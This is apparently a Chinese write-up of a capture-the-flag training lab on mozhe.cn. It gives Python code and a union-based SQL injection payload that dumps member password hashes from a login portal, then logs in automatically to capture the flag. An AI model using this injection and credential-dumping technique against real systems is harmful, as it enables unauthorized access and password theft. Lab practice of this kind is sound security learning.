思路
先对靶场进行研究
获取ip和端口号
发现了开启靶场后,会返回一个ip地址+端口号:
观察HTML源码后,利用python正则获取每次开启靶场的端口号:
首先要在请求头里添加已登录的cookie:
【利用“Cookie-Editor+python脚本”将cookie生成key=value;key=value的形式】
url = "https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe"
headers = [
("User-Agent",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36"),
('Cookie', cookie)
]
req = urllib.request.build_opener()
req.addheaders = headers
data = req.open(url).read().decode('utf-8')
获得html源码后再利用正则获取ip地址+端口号:
def get_ip_and_port(data):
print('正在获取ip与端口...')
ip_pat = re.compile(r'<em>(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})</em>')
port_pat = re.compile(r'<em>(\d{5})</em>')
ip = ip_pat.search(data).group(1)
port = port_pat.search(data).group(1)
print(ip + ':' + port)
return ip + ':' + port
注入获取登录密码md5值
访问ip+端口号后是一个登录界面:
存在注入的界面在登录框下方的通知里:
经过手工测试,登录名都为:mozhe,获取密码的注入payload为:
?id=-1%20union%20select%201,2,group_concat(password),4%20from%20mozhe_Discuz_StormGroup.StormGroup_member
注入后会获得两个md5密文,经测试,第二个才是随机的md5密码:
那么获取密码的方法就为:
def get_md5():
payload = r'http://' + ip_and_port + r'/new_list.php?id=-1%20union%20select%201,2,group_concat(password),4%20from%20mozhe_Discuz_StormGroup.StormGroup_member'
print(f'正在利用payload:\n{payload}\n注入获取md5值...')
data = urllib.request.urlopen(payload).read().decode('utf-8')
md5_pat = re.compile(r',([a-z0-9]{32})')
print('获取md5成功!\n', md5_pat.search(data).group(1))
return md5_pat.search(data).group(1)
登录后台获取flag
获取到md5密文后到解密网站解密,拿回来的明文密码登录登录。默认账号就是mozhe。登录后会获得一个以mozhe开头的32位flag,将这个flag上传就解题成功了。
在首页提交key即可:
获得明文密码后,自动登录。利用正则获取flag方法:
def get_flag():
try:
passwd = input()
url = r'http://' + ip_and_port + '/login.php'
form = {'name': 'mozhe', 'password': passwd}
data = requests.post(url=url, data=form).text
flag_pat = re.compile('(mozhe[a-z0-9]{27})')
key = flag_pat.search(data).group(1)
print('获得flag成功!')
print(key)
return key
except Exception as e:
print('获得flag失败!')
print(e)
源码方法基本已给出,组装一下就可以用了。
简单测试
由于能力有限,没有写出自动获取md5值解密的方法,所以速度卡在了需要手动md5解密。
创个新号简单测试一下~
手动解密md5时再快点(其实还可以更快),再创个新号测试一下~
第一了,那就到此为止吧。
12.15 更:
鉴于其登录密码都为6位数md5值,可以采取本地暴力破解。具体方法参考:
https://blog.csdn.net/qq_44874645/article/details/111205561
再次尝试: